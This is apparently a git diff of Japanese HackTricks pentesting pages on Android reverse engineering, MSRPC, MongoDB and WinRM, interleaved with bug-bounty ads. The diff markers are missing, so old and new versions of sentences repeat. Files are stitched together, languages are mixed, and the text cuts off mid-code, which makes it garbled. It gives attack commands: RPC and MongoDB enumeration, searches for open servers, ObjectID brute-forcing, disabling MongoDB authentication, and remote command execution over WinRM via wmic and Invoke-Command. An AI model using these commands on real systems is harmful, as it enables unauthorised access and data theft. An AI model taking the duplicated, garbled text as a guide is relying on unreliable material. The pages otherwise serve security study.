開発者がJavaで書き、コードがDEXバイトコードにコンパイルされる場合、リバースエンジニアリングするためには逆の方向で作業します。\
|
||||
\\
|
||||
|
||||
![開発者のプロセスのフローチャート。JavaからDEXバイトコードへ](https://maddiestone.github.io/AndroidAppRE/images/DevelopersFlow.jpg)
|
||||
|
||||
![リバースエンジニアのプロセスのフローチャート。DEXバイトコードからSMALIから逆コンパイルされたJavaへ](https://maddiestone.github.io/AndroidAppRE/images/ReversersFlow.jpg)
|
||||
|
||||
**SmaliはDalvikバイトコードの人間が読めるバージョンです**。厳密には、Smaliとbaksmaliはツール(アセンブラとディスアセンブラ)の名前ですが、Androidでは、私たちはしばしば「Smali」という用語を命令に言及するために使用します。リバースエンジニアリングやコンピュータアーキテクチャでコンパイルされたC/C++コードを行ったことがある場合、SMALIはアセンブリ言語のようなものです。高レベルのソースコードとバイトコードの間のものです。
|
||||
**SmaliはDalvikバイトコードの人間が読めるバージョンです**。厳密には、Smaliとbaksmaliはツール(アセンブラとディスアセンブラ)の名前ですが、Androidでは、私たちはしばしば「Smali」という用語を命令に使用します。リバースエンジニアリングやコンピュータアーキテクチャでコンパイルされたC/C++コードを行ったことがある場合、「SMALIはアセンブリ言語のようなものです:高レベルのソースコードとバイトコードの間のものです」。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
|
@ -154,9 +154,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金したときに
|
|||
|
||||
## インテント
|
||||
|
||||
インテントは、Androidアプリがコンポーネント間または他のアプリとの間で通信するための主要な手段です。これらのメッセージオブジェクトは、HTTP通信でのGET/POSTリクエストのように、アプリ間またはコンポーネント間でデータを運ぶこともできます。
|
||||
|
||||
したがって、インテントは基本的
|
||||
インテントは、Androidアプリがコンポーネント間または他のアプリとの間で通信するための主要な手段です。これらのメッセージオブジェクトは、HTTP通信でのGET/POSTリクエストのように、アプリ間またはコンポーネント間でデータを運ぶこともできます
|
||||
### 暗黙的なインテント
|
||||
|
||||
インテントは、Intentコンストラクタを使用してプログラムで作成されます。
|
||||
|
@ -245,11 +243,11 @@ Contextクラスの`sendBroadcast(intent, receiverPermission)`関数を使用し
|
|||
|
||||
AIDLを使用するサービスは、**バウンドサービス**と呼ばれます。サービスのクラスには、**`onBind`** メソッドがあります。これが**相互作用が始まる場所**であり、潜在的な脆弱性を探すためにレビューするコードの最初の部分です。
|
||||
|
||||
バウンドサービスは、クライアント-サーバーインターフェースのサーバーです。**コンポーネント(アクティビティなど)がサービスにバインドし、リクエストを送信し、レスポンスを受け取り、相互プロセス通信**(IPC)を実行できるようにします。バウンドサービスは通常、他のアプリケーションコンポーネントを提供する間だけ存在し、無期限にバックグラウンドで実行されません。
|
||||
バウンドサービスは、クライアント-サーバーインターフェースのサーバーです。**コンポーネント(アクティビティなど)がサービスにバインドし、リクエストを送信し、レスポンスを受け取り、相互プロセス通信**(IPC)を実行できます。バウンドサービスは通常、他のアプリケーションコンポーネントを提供する間だけ存在し、無期限にバックグラウンドで実行されません。
|
||||
|
||||
### Messenger
|
||||
|
||||
Messengerは、別のIPCメカニズムの一種です。**Messengerも「バウンドサービス」**であるため、クライアントアプリから渡されるデータも`onBind`メソッドを介して処理されます。したがって、コードレビューはこのメソッドから始め、機密な機能の呼び出しやデータの安全な処理を探す必要があります。
|
||||
Messengerは、別のIPCメカニズムの一種です。**Messengerも「バウンドサービス」**であるため、クライアントアプリから渡されるデータも`onBind`メソッドを介して処理されます。したがって、コードレビューはこのメソッドから始め、機密機能の呼び出しやデータの安全な処理の有無を確認する必要があります。
|
||||
|
||||
### Binder
|
||||
|
||||
|
@ -261,7 +259,7 @@ Binderクラスが直接呼び出されることは珍しいですが、Binder
|
|||
|
||||
### ランチャーアクティビティとその他のアクティビティ
|
||||
|
||||
**Androidアクティビティ**は、**Androidアプリ**のユーザーインターフェースの1つの画面です。このように、**Androidアクティビティ**はデスクトップアプリケーションのウィンドウに非常に似ています。**Android**アプリには1つ以上のアクティビティが含まれる場合があります。
|
||||
**Androidアクティビティ**は、**Android**アプリのユーザーインターフェースの1つの画面です。そのため、**Androidアクティビティ**はデスクトップアプリケーションのウィンドウに非常に似ています。**Android**アプリには1つ以上のアクティビティが含まれる場合があります。
|
||||
|
||||
**ランチャーアクティビティ**は、ほとんどの人がAndroidアプリケーションの**エントリーポイント**と考えるものです。ランチャーアクティビティは、ユーザーがアプリケーションのアイコンをクリックしたときに起動されるアクティビティです。ランチャーアクティビティは、アプリケーションのマニフェストを見ることで特定できます。ランチャーアクティビティは、以下のMAINとLAUNCHERのインテントがリストされています。
|
||||
|
||||
|
@ -274,17 +272,17 @@ UIを持たないアプリケーション、特にバックグラウンドでサ
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
アクティビティは、デバイス上の他のプロセスがアクティビティを起動できるようにエクスポートすることができます。デフォルトでは、エクスポートされませんが、以下の設定を行うことでエクスポートすることができます。
|
||||
アクティビティは、他のデバイス上のプロセスがアクティビティを起動できるようにエクスポートすることができます。デフォルトでは、エクスポートされませんが、以下の設定を行うことでエクスポートすることができます。
|
||||
|
||||
```xml
|
||||
android:exported="true"
|
||||
```
|
||||
|
||||
この設定を行うことで、他のプロセスからアクティビティが起動できるようになります。
|
||||
この設定を行うことで、他のプロセスからアクティビティが利用可能になります。
|
||||
```markup
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
注意:**アクティビティの保護をバイパスする能力は常に脆弱性ではありません**。アクセスしたデータを確認する必要があります。
|
||||
注意:**アクティビティの保護をバイパスする能力は常に脆弱性ではありません**。アクセスできるデータを確認する必要があります。
|
||||
また、**一部のアクティビティは呼び出し元にデータを返します**。この場合、**`setResult`**メソッドを検索し、Intentパラメータに渡されるデータを確認する必要があります。**もしデータが機密情報であれば、情報漏洩の脆弱性があり、アクティビティと通信可能なアプリで悪用される可能性があります**。
|
||||
|
||||
**アクティビティのコードは`onCreate`メソッドで始まります**。
|
||||
|
@ -293,19 +291,19 @@ android:exported="true"
|
|||
|
||||
Androidアプリケーションは、[Application](https://developer.android.com/reference/android/app/Application)の**サブクラス**を定義することができます。AndroidアプリがApplicationのサブクラスを定義する場合、**このクラスはアプリケーション内の他のクラスよりも先にインスタンス化されます**。
|
||||
|
||||
アプリケーションのサブクラスで**`attachBaseContext`**メソッドが定義されている場合、**`onCreate`**メソッドの前に呼び出されます。
|
||||
Applicationのサブクラスで**`attachBaseContext`**メソッドが定義されている場合、**`onCreate`**メソッドの前に呼び出されます。
|
||||
|
||||
### サービス
|
||||
|
||||
[サービス](https://developer.android.com/guide/components/services)は、**UIを持たないバックグラウンドで実行される**ものです。**ユーザーが別のアプリケーションを使用し始めても、長時間実行するために使用されます**。
|
||||
|
||||
サービスはさまざまな方法で開始されるため、アプリケーションのエントリーポイントとなります。サービスをエントリーポイントとして開始するデフォルトの方法は、**インテント**を使用することです。
|
||||
サービスはさまざまな方法で開始されるため、アプリケーションのエントリーポイントとなります。サービスをエントリーポイントとして開始するデフォルトの方法は、**Intents**を使用することです。
|
||||
|
||||
サービスを開始するために**`startService`**メソッドが呼び出されると、サービス内の**`onStart`**メソッドが実行されます。このメソッドは、**`stopService`**メソッドが呼び出されるまで無期限に実行されます。サービスがクライアントが接続している間だけ必要な場合は、クライアントは**`bindService`**メソッドを使用してサービスに「バインド」する必要があります。
|
||||
Serviceを開始するために**`startService`**メソッドが呼び出されると、Service内の**`onStart`**メソッドが実行されます。**`stopService`**メソッドが呼び出されるまで、無期限に実行されます。サービスがクライアントが接続している間だけ必要な場合は、**`bindService`**メソッドを使用してクライアントがサービスに「バインド」する必要があります。
|
||||
|
||||
**バウンドサービス**の場合(前のセクションを参照)、データは**`onBind`**メソッドに渡されます。
|
||||
|
||||
たとえば、サービスはユーザーが別のアプリケーションにいる間にバックグラウンドで音楽を再生したり、アクティビティのユーザーの操作をブロックせずにネットワークからデータを取得したりすることがあります。
|
||||
たとえば、ユーザーが別のアプリケーションにいる間にバックグラウンドで音楽を再生したり、アクティビティのユーザーの操作をブロックせずにネットワークからデータを取得したりする場合に使用されます。
|
||||
|
||||
**サービスはエクスポートされることがあり、デバイス上の他のプロセスからサービスを開始できます**。デフォルトでは、サービスはエクスポートされませんが、マニフェストで設定することができます。
|
||||
```markup
|
||||
|
@ -419,7 +417,7 @@ JavaScriptの「**Bridge**」機能は、JavaオブジェクトをWebViewに**
|
|||
* Androidでは、アプリをインストールする前に、**すべてのアプリがデジタル証明書で署名**される必要があります。Androidはこの証明書を使用してアプリの作者を識別します。
|
||||
* デバイスでアプリを実行するには、アプリは署名されている必要があります。アプリがデバイスにインストールされると、パッケージマネージャはapkファイルの証明書が正しく署名されているかどうかを検証します。
|
||||
* アプリケーションは自己署名されるか、CAを介して署名されることがあります。
|
||||
* アプリケーションの署名により、アプリはウェル定義されたIPCを介して他のアプリにアクセスすることはできず、変更されずにデバイスに渡されることが保証されます。
|
||||
* アプリケーションの署名により、アプリはよく定義されたIPCを介して他のアプリにアクセスすることはできず、変更されずにデバイスに渡されることが保証されます。
|
||||
|
||||
### **アプリケーションの検証**
|
||||
|
||||
|
@ -432,7 +430,7 @@ MDMまたはモバイルデバイス管理は、モバイルデバイス上で
|
|||
|
||||
一般的に、MDMソリューションはパスワードポリシーの強制、ストレージの暗号化の強制、デバイスデータのリモートワイプの有効化などの機能を実行します。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
|
@ -443,4 +441,4 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証
|
||||
各
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
|
@ -31,7 +31,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後にの
|
|||
|
||||
## 基本情報
|
||||
|
||||
Microsoft Remote Procedure Call(MSRPC)は、関数呼び出しまたはサブルーチン呼び出しとも呼ばれるプロトコルであり、クライアント-サーバーモデルを使用して、プログラムが他のコンピュータ上のプログラムにサービスを要求するために、そのコンピュータのネットワークの詳細を理解する必要がありません。 MSRPCは元々オープンソースソフトウェアから派生していましたが、Microsoftによってさらに開発され、著作権が保護されています。
|
||||
Microsoft Remote Procedure Call(MSRPC)は、クライアントサーバーモデルを使用して、プログラムが他のコンピュータ上のプログラムにサービスを要求するためのプロトコルです。MSRPCはもともとオープンソースソフトウェアから派生していましたが、Microsoftによってさらに開発され、著作権が保護されています。
|
||||
|
||||
ホストの設定によっては、RPCエンドポイントマッパーはTCPおよびUDPポート135を介してアクセスでき、SMBを介してヌルまたは認証済みセッション(TCP 139および445)でアクセスでき、TCPポート593でリッスンするWebサービスとしても利用できます。
|
||||
```
|
||||
|
@ -48,13 +48,13 @@ Microsoft Remote Procedure Call(MSRPC)は、関数呼び出しまたはサ
|
|||
|
||||
**書籍「ネットワークセキュリティ評価 第3版」からの画像**
|
||||
|
||||
## 公開されたRPCサービスの特定
|
||||
## **公開されたRPCサービスの特定**
|
||||
|
||||
**書籍「ネットワークセキュリティ評価 第3版」からの抜粋**
|
||||
|
||||
RPCロケーターサービスと個々のRPCエンドポイントをクエリすることで、TCP、UDP、HTTP、およびSMB(名前付きパイプを介して)で実行されている興味深いサービスをカタログ化することができます。このプロセスで収集された各IFID値は、RPCサービスを示します(例:5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fcはMessengerインターフェースです)。
|
||||
|
||||
Todd Sabinのrpcdumpおよびifids Windowsユーティリティは、RPCロケーターと特定のRPCエンドポイントをクエリしてIFID値のリストを表示します。rpcdumpの構文は次のとおりです:
|
||||
Todd Sabinのrpcdumpおよびifids Windowsユーティリティは、RPCロケーターと特定のRPCエンドポイントにクエリを実行してIFID値のリストを表示します。rpcdumpの構文は次のとおりです:
|
||||
```
|
||||
D:\rpctools> rpcdump [-p port] 192.168.189.1
|
||||
IfId: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
|
||||
|
@ -106,15 +106,15 @@ _上記のオプションから、**`tcp_dcerpc_auditor`**以外は、**ポー
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長段階のweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
@ -127,7 +127,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
|
|
|
@ -12,18 +12,18 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のWeb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
|
@ -58,24 +58,27 @@ MongoDBは、デフォルトでポート27017で動作します。ポート27018
|
|||
show dbs
|
||||
```
|
||||
|
||||
4. データベースを選択し、コレクションのリストを取得します。
|
||||
4. 利用可能なデータベースを特定したら、以下のコマンドを使用してデータベースに切り替えます。
|
||||
|
||||
```
|
||||
use <database_name>
|
||||
```
|
||||
|
||||
5. データベース内のコレクション(テーブルに相当)をリストするには、以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
show collections
|
||||
```
|
||||
|
||||
5. 必要に応じて、コレクション内のドキュメントを表示します。
|
||||
6. リストされたコレクションからデータを取得するには、以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
db.<collection_name>.find()
|
||||
```
|
||||
|
||||
6. 列挙が完了したら、MongoDBクライアントからログアウトします。
|
||||
7. 必要に応じて、データベース内の他の情報を取得するために、さまざまなコマンドを試してみてください。
|
||||
|
||||
```
|
||||
exit
|
||||
```
|
||||
手動の列挙を実行する際には、適切な権限を持つユーザーで接続することをお勧めします。
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
client = MongoClient(host, port, username=username, password=password)
|
||||
|
@ -156,23 +159,15 @@ db.current.find({"username":"admin"}) #Find in current db the username admin
|
|||
|
||||
MongoDB is a popular NoSQL database that is widely used in web applications. It uses a binary protocol for communication between the client and the server. By default, MongoDB listens on port 27017 for client connections and on port 27018 for internal cluster communication.
|
||||
|
||||
During a penetration test, it is important to check if MongoDB is properly secured and not exposed to unauthorized access. One common misconfiguration is leaving the default ports open to the public internet, which can lead to unauthorized access and potential data leaks.
|
||||
During a penetration test, it is important to check if MongoDB is properly secured and not exposed to unauthorized access. One common vulnerability is the lack of authentication, which allows anyone to connect to the database without providing any credentials.
|
||||
|
||||
To automatically check if MongoDB is running on ports 27017 and 27018, you can use a port scanning tool like Nmap. Nmap is a powerful network scanning tool that can be used to discover open ports on a target system.
|
||||
To automate the process of checking for MongoDB instances, you can use tools like Nmap or Metasploit. Nmap is a powerful network scanning tool that can be used to discover open ports on a target system. By scanning for ports 27017 and 27018, you can identify MongoDB instances that are running on the target network.
|
||||
|
||||
Here is an example command to scan for open MongoDB ports using Nmap:
|
||||
Metasploit is a popular penetration testing framework that includes a module for MongoDB enumeration. This module can be used to gather information about the MongoDB instance, such as the version, databases, and collections. It can also be used to perform brute-force attacks to guess weak passwords.
|
||||
|
||||
```
|
||||
nmap -p 27017,27018 <target_ip>
|
||||
```
|
||||
Once you have identified a MongoDB instance, it is important to check if it is properly secured. This includes enabling authentication, setting strong passwords, and restricting access to trusted IP addresses. Additionally, you should ensure that the MongoDB instance is running the latest version, as older versions may have known vulnerabilities.
|
||||
|
||||
Replace `<target_ip>` with the IP address of the target system. This command will scan for open ports 27017 and 27018 on the target system.
|
||||
|
||||
If Nmap reports that the ports are open, it indicates that MongoDB is running on those ports. This could be a potential security risk if the MongoDB instance is not properly secured.
|
||||
|
||||
To further investigate the MongoDB instance, you can use tools like MongoDB Compass or the MongoDB shell. These tools allow you to connect to the MongoDB server and perform various operations, such as querying the database, inserting data, and modifying documents.
|
||||
|
||||
It is important to note that during a penetration test, you should only perform authorized actions and respect the boundaries set by the client. Unauthorized access or data leakage can have serious legal and ethical consequences. Always obtain proper authorization and follow the rules of engagement before conducting any penetration testing activities.
|
||||
By automating the process of checking for MongoDB instances, you can quickly identify potential security risks and take appropriate actions to secure the database. This can help prevent unauthorized access and data leaks, ensuring the confidentiality and integrity of the data stored in MongoDB.
|
||||
```bash
|
||||
nmap -sV --script "mongo* and default" -p 27017 <IP> #By default all the nmap mongo enumerate scripts are used
|
||||
```
|
||||
|
@ -180,7 +175,7 @@ nmap -sV --script "mongo* and default" -p 27017 <IP> #By default all the nmap mo
|
|||
|
||||
* 全てのmongodb: `"mongodb server information"`
|
||||
* 完全にオープンなmongodbサーバーを検索: `"mongodb server information" -"partially enabled"`
|
||||
* 認証が部分的に有効な場合: `"mongodb server information" "partially enabled"`
|
||||
* 認証が部分的に有効化されたmongodbサーバーのみ: `"mongodb server information" "partially enabled"`
|
||||
|
||||
## ログイン
|
||||
|
||||
|
@ -211,30 +206,30 @@ Mongo Object IDは**12バイトの16進数**文字列です:
|
|||
|
||||
例えば、アプリケーションから返された実際のObject IDを分解する方法は次のとおりです:5f2459ac9fa6dc2500314019
|
||||
|
||||
1. 5f2459ac:1596217772を10進数に変換すると、2020年7月31日金曜日17:49:32です。
|
||||
1. 5f2459ac:1596217772を10進数に変換すると、2020年7月31日金曜日17時49分32秒になります。
|
||||
2. 9fa6dc:マシン識別子
|
||||
3. 2500:プロセスID
|
||||
4. 314019:増分カウンタ
|
||||
|
||||
上記の要素のうち、マシン識別子はデータベースが同じ物理/仮想マシンで実行されている限り変わりません。MongoDBプロセスが再起動された場合にのみ、プロセスIDが変更されます。タイムスタンプは毎秒更新されます。カウンタとタイムスタンプの値を単純に増やしてObject IDを推測する唯一の課題は、MongoDBがObject IDを生成し、システムレベルでObject IDを割り当てるという事実です。
|
||||
上記の要素のうち、マシン識別子はデータベースが同じ物理/仮想マシンで実行されている限り変わりません。プロセスIDはMongoDBプロセスが再起動された場合にのみ変更されます。タイムスタンプは毎秒更新されます。カウンタとタイムスタンプの値を単純に増やしてObject IDを推測する唯一の課題は、MongoDBがObject IDを生成し、システムレベルでObject IDを割り当てるという事実です。
|
||||
|
||||
ツール[https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict)は、開始Object ID(アカウントを作成して開始IDを取得できます)を指定すると、次のオブジェクトに割り当てられた可能性のある約1000のObject IDを返しますので、ブルートフォースで試すだけです。
|
||||
|
||||
## 投稿
|
||||
|
||||
rootであれば、**mongodb.conf**ファイルを**変更**して認証情報が不要になるようにする(_noauth = true_)ことができ、**認証情報なしでログイン**できます。
|
||||
rootユーザーの場合、**mongodb.conf**ファイルを**変更**して認証情報が不要になるようにすることができます(_noauth = true_)そして**認証情報なしでログイン**できます。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
**遅延なしで報奨金を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報奨金を受け取ることができます。
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
**web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
@ -247,8 +242,8 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始
|
|||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
|
@ -25,7 +25,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後にの
|
|||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -49,9 +49,9 @@ PowerShellをWinRMと連携させることができます。Microsoftのドキ
|
|||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
```
|
||||
これにより、trustedhosts設定にワイルドカードが追加されます。それが何を意味するかに注意してください。 _注意: 攻撃マシンのネットワークタイプを「Public」から「Work」ネットワークに変更する必要がありました。_
|
||||
これにより、trustedhosts設定にワイルドカードが追加されます。それが何を意味するかに注意してください。 _注: 攻撃マシンのネットワークタイプを「Public」から「Work」ネットワークに変更する必要がありました。_
|
||||
|
||||
また、_wmic_を使用して、WinRMを**リモートでアクティベート**することもできます。
|
||||
また、**wmicを使用して** WinRMを**リモートでアクティベート**することもできます。
|
||||
```
|
||||
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||||
```
|
||||
|
@ -67,7 +67,7 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
|
|||
|
||||
### コマンドの実行
|
||||
|
||||
これで、PowerShell の `Invoke-Command` を使用して、WinRM を介してターゲット上でコマンドをリモートで実行することができます。`ipconfig` をリモートで実行し、出力を確認します。
|
||||
これで、PowerShell の `Invoke-Command` を使用して、WinRM を介してターゲット上でコマンドをリモートで実行することができます。`ipconfig` をリモートで実行して出力を確認します。
|
||||
```
|
||||
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
|
||||
```
|
||||
|
@ -79,23 +79,19 @@ Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration}
|
|||
```
|
||||
### スクリプトの実行
|
||||
|
||||
To execute a script on a target machine using WinRM, you can use the `Invoke-Command` cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote machines.
|
||||
To execute a script on a target system using WinRM, you can use the `Invoke-Command` cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote systems.
|
||||
|
||||
To execute a script, you need to provide the script file path as an argument to the `-FilePath` parameter of the `Invoke-Command` cmdlet. Here's an example:
|
||||
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <target> -ScriptBlock { <script> }
|
||||
Invoke-Command -ComputerName <target> -ScriptBlock {param($filePath) & $filePath} -ArgumentList "<script_path>"
|
||||
```
|
||||
|
||||
Replace `<target>` with the IP address or hostname of the target machine, and `<script>` with the script you want to execute.
|
||||
In this example, `<target>` represents the IP address or hostname of the target system, and `<script_path>` represents the path to the script file on your local machine.
|
||||
|
||||
For example, to execute a PowerShell script named `script.ps1` on a target machine with the IP address `192.168.0.100`, you would use the following command:
|
||||
The `Invoke-Command` cmdlet establishes a remote PowerShell session with the target system and executes the script specified by the `-FilePath` parameter. The `param($filePath)` statement in the script block allows you to pass the script file path as a parameter.
|
||||
|
||||
```powershell
|
||||
